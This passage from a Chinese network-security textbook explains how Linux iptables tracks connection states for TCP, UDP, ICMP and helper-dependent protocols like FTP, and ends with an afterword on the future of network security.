除了本地产生的包由OUTPUT链处理外，所有连接跟踪都是在PREROUTING链里进行处理的，意思就是，iptables会在PREROUTING链里重新计算所有的状态。如果我们发送一个流的初始化包，状态就会在OUTPUT链里被设置为NEW，当我们收到回应的包时，状态就会在PREROUTING 链里被设置为ESTABLISHED。如果第一个包不是本地产生的，那就会在 PREROUTING 链里被设置为 NEW 状态。综上，所有状态的改变和计算都是在 nat表中的PREROUTING链和OUTPUT链里完成的。

1.conntrack记录

我们先来看看怎样阅读/proc/net/ip_conntrack里的conntrack记录。这些记录表示的是当前被跟踪的连接。如果安装了ip_conntrack模块，cat/proc/net/ip_conntrack的显示类似：


    tcp        6  117  SYN_SENT  src=192.168.1.6  dst=192.168.1.9  sport=32775  \
        dport=22  [UNREPLIED] src=192.168.1.9  dst=192.168.1.6  sport=22  \
        dport=32775  use=2


conntrack模块维护的所有信息都包含在这个例子中了，通过它们就可以知道某个特定的连接处于什么状态。首先显示的是协议，这里是 tcp，接着是十进制的 6（译者注：tcp的协议类型代码是6）。之后的117是这条conntrack记录的生存时间，它会有规律地被消耗，直到收到这个连接的更多的包。那时，这个值就会被设为当时那个状态的缺省值。接下来的是这个连接在当前时间点的状态。上面的例子说明这个包处在状态 SYN_SENT，这个值是iptables 显示的，以便我们好理解，而内部用的值稍有不同。SYN_SENT 说明我们正在观察的这个连接只在一个方向发送了一个TCP SYN包。再下面是源地址、目的地址、源端口和目的端口。其中有个特殊的词UNREPLIED，说明这个连接还没有收到任何回应。最后，是希望接收的应答包的信息，它们的地址和端口和前面是相反的。

连接跟踪记录的信息依据IP所包含的协议不同而不同，所有相应的值都是在头文件linux/include/netfilter-ipv4/ip_conntrack*.h中定义的。IP、TCP、UDP、ICMP协议的缺省值是在 linux/include/netfilter-ipv4/ip_conntrack.h 里定义的。具体的值可以查看相应的协议，但我们这里用不到它们，因为它们大都只在conntrack内部使用。随着状态的改变，生存时间也会改变。

当一个连接在两个方向上都有传输时，conntrack记录就删除[UNREPLIED]标志，然后重置。在末尾有[ASSURED]的记录说明两个方向已没有流量。这样的记录是确定的，在连接跟踪表满时，是不会被删除的，没有[ASSURED]的记录就要被删除。连接跟踪表能容纳多少记录是被一个变量控制的，它可由内核中的ip- sysctl函数设置。默认值取决于内存大小，128MB可以包含8192条目录，256MB是16376条。也可以在 /proc/sys/net/ipv4/ip_conntrack_max里查看、设置。

2.数据包在用户空间的状态

就像前面说的，包的状态依据IP所包含的协议不同而不同，但在内核外部，也就是用户空间里，只有4种状态：NEW、ESTABLISHED、RELATED和INVALID。它们主要是和状态匹配一起使用。表7.22中简要地介绍了这几种状态。


表7.22 数据包在用户空间的状态
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这些状态可以一起使用，以便匹配数据包。这可以使防火墙非常强壮和有效。以前，经常需要打开1024以上的所有端口来放行应答的数据。现在，有了状态机制，就不需再这样了。因为可以只开放那些有应答数据的端口，其他的都可以关闭。这样就安全多了。

3.TCP连接

现在我们来详细讨论这些状态，以及在TCP、UDP和ICMP这三种基本的协议里怎样操作它们。当然，也会讨论其他协议的情况。我们还是从TCP入手，因为它本身就是一个带状态的协议，并且具有很多关于iptables状态机制的详细信息。

一个TCP连接是经过三次握手协商连接信息才建立起来的。整个会话由一个SYN包开始，然后是一个SYN/ACK包，最后是一个ACK包，此时，会话才建立成功，能够发送数据。最大的问题在于连接跟踪怎样控制这个过程，其实非常简单。

默认情况下，连接跟踪基本上对所有的连接类型做同样的操作。如图7.2所示，我们就能明白在连接的不同阶段，流是处于什么状态的。就如你看到的，连接跟踪的代码不是从用户的观点来看待TCP连接建立的流程的。连接跟踪一看到SYN包，就认为这个连接是NEW状态，一看到返回的SYN/ACK包，就认为连接是ESTABLISHED状态。如果仔细想想第二步，应该能理解为什么。有了这个特殊处理，NEW和ESTABLISHED包就可以发送出本地网络，且只有ESTABLISHED的连接才能有回应信息。如果把整个建立连接的过程中传输的数据包都看作NEW，那么三次握手所用的包都是NEW状态的，这样就不能阻塞从外部到本地网络的连接了。因为即使连接是从外向内的，但它使用的包也是 NEW 状态的，而且为了其他连接能正常传输，不得不允许NEW状态的包返回并进入防火墙。更复杂的是，针对TCP连接内核使用了很多内部状态，它们的定义在 RFC 793中。但好在用户空间用不到。后面我们会详细地介绍这些内容。


图7.2 TCP连接状态图



以用户的观点来看，这是很简单的。但是，从内核的角度看这一块还有点困难的。下面来看一个例子。认真考虑一下在/proc/net/ip_conntrack里，连接的状态是如何改变的。


    tcp        6  117  SYN_SENT  src=192.168.1.5  dst=192.168.1.35  sport=1031  \
        dport=23  [UNREPLIED] src=192.168.1.35  dst=192.168.1.5  sport=23  \
        dport=1031  use=1


从上面的记录可以看出，SYN_SENT状态被设置了，这说明连接已经发出一个SYN包，但应答还没发送过来，这可从[UNREPLIED]标志看出。


    tcp        6  57  SYN_RECV  src=192.168.1.5  dst=192.168.1.35  sport=1031  \
        dport=23  src=192.168.1.35  dst=192.168.1.5  sport=23  dport=1031  \
        use=1


现在我们已经收到了相应的SYN/ACK包，状态也变为SYN_RECV，这说明最初发出的SYN包已被正确传输，并且SYN/ACK包也到达了防火墙。这就意味着在连接的两方都有数据传输，因此可以认为两个方向都有相应的回应。当然，这是假设的。


    tcp        6  431999  ESTABLISHED  src=192.168.1.5  dst=192.168.1.35  \
        sport=1031  dport=23  src=192.168.1.35  dst=192.168.1.5  \
        sport=23  dport=1031  use=1


现在我们发出了三步握手的最后一个包，即ACK包，连接也就进入ESTABLISHED状态了。再传输几个数据包，连接就是[ASSURED]的了。

下面介绍TCP连接在关闭过程中的状态。在发出最后一个ACK包之前，连接（指两个方向）是不会关闭的。注意，这只是针对一般的情况。连接也可以通过发送关闭，这用在拒绝一个连接的时候。在RST包发送之后，要经过预先设定的一段时间，连接才能断掉。

连接关闭后，进入TIME_WAIT状态，缺省时间是2分钟。之所以留这个时间，是为了让数据包能完全通过各种规则的检查，也是为了数据包能通过拥挤的路由器，从而到达目的地。

如果连接是被RST包重置的，就直接变为CLOSE了。这意味着在关闭之前只有10秒的默认时间。RST包是不需要确认的，它会直接关闭连接。针对TCP连接，还有其他一些状态我们没有谈到。表7.23给出一个完整的状态列表和超时值。


表7.23 内部状态
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这些值不是绝对的，可以随着内核的修订而变化，也可以通过/proc/sys/net/ipv4/netfilter/ip_ct_tcp_*的变量更改。这些默认值都是经过实践检验的。它们的单位是jiffies（百分之一秒），所以3000就代表30s。

注意状态机制在用户空间里的部分不会查看 TCP包的标志位（也就是说 TCP标志对它而言是透明的）。如果我们想让NEW状态的包通过防火墙，就要指定NEW状态，我们理解的NEW状态的意思就是指SYN包，可是iptables又不查看这些标志位。这就是问题所在。有些没有设置SYN或ACK的包，也会被看作NEW状态的。这样的包可能会被冗余防火墙用到，但对只有一个防火墙的网络是很不利的（可能会被攻击）。为了避免这样的包的影响，可以使用未设置SYN的NEW状态包里的命令。还有一个办法，就是安装patch-o-matic里的tcp-window-tracking扩展功能，它可以使防火墙能根据TCP的一些标志位来进行状态跟踪。

4.UDP连接

UDP连接是无状态的，因为它没有任何的连接建立和关闭过程，而且大部分是无序列号的。以某个顺序收到的两个数据包是无法确定它们的发出顺序的。但内核仍然可以对 UDP连接设置状态。我们来看看是如何跟踪UDP连接的，以及conntrack的相关记录。

以用户的角度考虑，UDP连接的建立几乎与TCP的一样。虽然conntrack信息看起来有点儿不同，但本质上是一样的。下面我们先来看看第一个UDP包发出后的conntrack记录。


    udp        17  20  src=192.168.1.2  dst=192.168.1.5  sport=137  dport=1025  \
        [UNREPLIED] src=192.168.1.5  dst=192.168.1.2  sport=1025  \
        dport=137  use=1


从前两个值可知，这是一个UDP包。第一个是协议名称，第二个是协议号，第三个是此状态的生存时间，默认是30秒。接下来是包的源、目地址和端口，还有期待之中回应包的源、目地址和端口。[UNREPLIED]标记说明还未收到回应。


    udp        17  170  src=192.168.1.2  dst=192.168.1.5  sport=137  \
        dport=1025  src=192.168.1.5  dst=192.168.1.2  sport=1025  \
        dport=137  use=1


一旦收到第一个包的回应，[UNREPLIED]标记就会被删除，连接就被认为是ESTABLISHED的，但在记录里并不显示ESTABLISHED标记。相应地，状态的超时时间也变为180秒了。在本例中，只剩170秒了，10秒后，就会减少为160秒。有个东西是不可少的，虽然它可能会有些变化，就是前面提过的[ASSURED]。要想变为 [ASSURED]状态，连接上必须要再有些流量。


    udp        17  175  src=192.168.1.5  dst=195.22.79.2  sport=1025  \
        dport=53  src=195.22.79.2  dst=192.168.1.5  sport=53  \
        dport=1025  [ASSURED] use=1


可以看出来，[ASSURED]状态的记录和前面的没有多大差别，除了标记由[UNREPLIED]变成[ASSURED]。如果这个连接持续不了180秒，那就要被中断。180秒是短了点儿，但对大部分应用足够了。只要遇到这个连接的包穿过防火墙，超时值就会被重置为默认值，所有的状态都是这样的。

5.ICMP连接

ICMP也是一种无状态协议，它只是用来控制而不是建立连接。ICMP包有很多类型，但只有四种类型有应答包，它们是回显请求和应答（Echo request and reply）、时间戳请求和应答（Timestamp request and reply）、信息请求和应答（Information request and reply），还有地址掩码请求和应答（Address mask request and reply），这些包有两种状态，NEW和 ESTABLISHED。时间戳请求和信息请求已经废除不用了，回显请求还是常用的，比如ping命令就用的到，地址掩码请求不太常用，但是可能有时很有用并且值得使用。如图7.3所示，就可以大致了解ICMP连接的NEW和ESTABLISHED状态了。


图7.3 ICMP状态图



如图所示，主机向目标发送一个回显请求，防火墙就认为这个包处于 NEW 状态。目标回应一个回显应答，防火墙就认为包处于 ESTABLISHED 了。当回显请求被发送时，ip_conntrack里就有这样的记录了：


    icmp       1  25  src=192.168.1.6  dst=192.168.1.10  type=8  code=0  \
        id=33029  [UNREPLIED] src=192.168.1.10  dst=192.168.1.6  \
        type=0  code=0  id=33029  use=1


可以看到，ICMP的记录和TCP、UDP的有点区别，协议名称、超时时间和源、目的地址都一样，不同之处在于没有了端口，而新增了三个新的字段：type、code和id。字段type说明ICMP的类型。code说明ICMP的代码，这些代码在附录ICMP类型里有说明。id是ICMP包的ID。每个ICMP包被发送时都被分配一个ID，接收方把同样的ID 分配给应答包，这样发送方能认出是哪个请求的应答。

[UNREPLIED]的含义和前面一样，说明数据的传输只发生在一个方向上，也就是说未收到应答。再往后，是应答包的源、目的地址，还有相应的三个新字段，要注意的是type和code是随着应答包的不同而变化的，id和请求包的一样。

和前面一样，应答包被认为是ESTABLISHED的。然而，在应答包之后，这个ICMP 连接就不再有数据传输了。所以，一旦应答包穿过防火墙，ICMP的连接跟踪记录就被销毁了。

以上各种情况，请求被认为是NEW，应答是ESTABLISHED。换句话说，就是当防火墙看到一个请求包时，就认为连接处于NEW状态，当有应答时，就是ESTABLISHED状态。

ICMP的缺省超时是30秒，可以在/proc/sys/net/ipv4/netfilter/ip_ct_icmp_timeout中修改。这个值是比较合适的，适合于大多数情况。

ICMP的另一个非常重要的作用是，告诉UDP、TCP连接或正在努力建立的连接发生了什么，这时ICMP应答被认为是RELATED的。主机不可达和网络不可达就是这样的例子。当试图连接某台主机不成功时（可能那台主机被关上了），数据包所到达的最后一台路由器就会返回以上的ICMP信息，它们就是RELATED的。

我们发送了一个SYN包到某一地址，防火墙认为它的状态是NEW。但是目标网络有问题不可达，路由器就会返回网络不可达的信息，这是RELATED的。连接跟踪会认出这个错误信息是哪个连接的，连接会中断，同时相应的记录删除会被删除。当UDP连接遇到问题时，同样会有相应的ICMP信息返回，当然它们的状态也是RELATED。

我们发送一个UDP包，当然它是NEW的。但是，目标网络被一些防火墙或路由器所禁止。我们的防火墙就会收到网络被禁止的信息。防火墙知道它是和哪个已打开的UDP连接相关的，并且把这个信息（状态是 RELATED）发给它，同时，把相应的记录删除。客户机收到网络被禁止的信息，连接将被中断。

6.缺省的连接操作

有时conntrack机制并不知道如何处理某个特殊的协议，尤其是在它不了解这个协议或不知道协议如何工作时，比如NETBLT、MUX还有EGP。这种情况下，conntrack使用缺省的操作。这种操作很像对UDP连接的操作，就是第一个包被认作NEW，其后的应答包等等数据都是 ESTABLISHED。

使用缺省操作的包的超时值都是一样的，为600秒，也就是10分钟。当然，这个值可以通过/proc/sys/net/ipv4/netfilter/ip_ct_generic_timeout更改，以便适应通信量，尤其是在耗时较多、流量巨大的情况下，可使用卫星等。

7.复杂协议和连接跟踪

有些协议比其他协议更复杂，这里复杂的意思是指连接跟踪机制很难正确地跟踪它们，比如ICQ、IRC 和FTP，它们都在数据包的数据域里携带某些信息，这些信息用于建立其他的连接。因此，需要一些特殊的 helper来完成工作。

下面以FTP作为例子。FTP协议先建立一个单独的连接——FTP控制会话。通过这个连接发布命令，其他的端口就会打开以便传输和这个命令相关的数据。这些连接的建立方法有两种：主动模式和被动模式。先看主动模式，FTP客户端发送端口和IP地址信息给服务器端，然后，客户端打开这个端口，服务器端从它自己的 20 端口（FTP-Data端口号）建立与这个端口的连接，接着就可以使用这个连接发送数据了。

问题在于防火墙不知道这些额外的连接（相对于控制会话而言），因为这些连接在建立时的磋商信息都在协议数据包的数据域内，而不是在可分析的协议中。因此，防火墙就不知道是不是该放这些从服务器到客户机的连接过关。

解决的办法是为连接跟踪模块增加一个特殊的 helper，以便能检测到那些信息。这样，那些从FTP服务器到客户机的连接就可以被跟踪了，状态是RELATED。被动FTP工作方式下，data连接的建立过程和主动FTP的相反。客户机告诉服务器需要某些数据，服务器就把地址和端口发回给客户机，客户机据此建立连接接收数据。如果FTP服务器在防火墙后面，或对用户限制得比较严格，只允许他们访问HTTP和FTP，而封闭了其他所有端口，为了让在Internet上的客户机能访问到FTP，也需要增加上面提到的helper。Conntrack helper既可以被静态地编译进内核，也可以作为模块，但要用下面的命令装载：


    modprobe ip_conntrack_*


注意连接跟踪并不处理 NAT，因此要对连接做 NAT 就需要增加相应的模块。比如，用户想NAT并跟踪FTP连接，除了FTP的相应模块，还要有NAT模块。所有的 NAT helper名字都是以ip_nat_开头的，这是一个命名习惯：FTP NAT helper叫做ip_nat_ftp，IRC的相应模块就是ip_nat_irc。conntrack helper 的命名也遵循一样的习惯：针对IRC的conntrack helper叫ip_conntrack_irc，FTP的叫作ip_conntrack_ftp。
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后语 网络安全未来


网络安全与其说是一个学科，不如说是一门哲学和设计理念：每一个协议、每一个产品、每一个过程和架构，都应当考虑到它是否满足网络安全这样一个设计目标，都应当考虑到这些协议、产品和流程的最终使用者，也许并不完全是那些老实厚道的用户，攻击者正在从每个可能的角度去审视着它们。

可是在现实世界中，安全往往是有意识地被排到最后考虑的。在设计的目标中，优先权往往是可行性大于易用性，易用性大于稳定性，稳定性大于性能，性能大于安全性，甚至一个网络安全的专业人员，在设计一个系统的时候，往往也不会把安全放在很靠前的位置。理由很简单，在一个充满竞争的世界中，每一个协议、产品和过程都要首先考虑是否能够成功吸引到足够多的用户，大多数的失败并不是因为安全性差，而是因为在系统能够取得被攻击者瞩目的“资格”之前就已经被用户或者是开发者抛弃了。所以，本来应当是在设计中考虑的安全问题，常常会被工程上的补丁所代替。

因此我们需要忍受现实方案中的不安全，而习惯于采用各种补丁式的安全技术，通过在原来没有考虑过安全的方案上打补丁，或者在实际应用时使用替代技术。这使得网络安全越来越复杂，建立一个实用的安全系统需要牵涉的精力越来越多。

本书介绍了目前一些安全技术的发展情况。网络安全领域方面的技术在近些年来，已经有了很大的进展。但是随着近期内几次大的网络安全事件的发生，又使人们逐渐认识到还远未找到目前各种网络安全问题的根本解决办法。对于网络安全这个学科来说，这也许是件好的事情，这使是我们意识到，网络安全的攻防对抗还远未结束，而网络安全还将有巨大的创新空间。

目前已经出现了一些新概念安全产品。安全产业正在从原有的防火墙、紧急响应系统、风险评估系统等各个产品独立为政的情况中走出，各种产品之间相互融合，取长补短，成为一个完整的网络安全体系，这种兼有两种或者几种功能的产品正在逐渐走向成熟。

传统的网络安全研究侧重于防护，但是随着入侵网络和系统的复杂化，直接面向入侵者的攻防对战不可避免。目前的入侵检测产品，绝大多数基于现有的规则或入侵模式，而紧急响应，更是主要由人工来进行分析，未来新学科如人工智能、行为学、对策理论等在网络安全领域的应用，将改变网络防护的目前这种耗时耗力的被动局面。

这些只是开始。网络安全学科，作为一个非常重要而又急需创新的新兴研究领域，正孕育着无限的机会和挑战。相信在未来十年中，网络安全一定会取得更为长足的进展。
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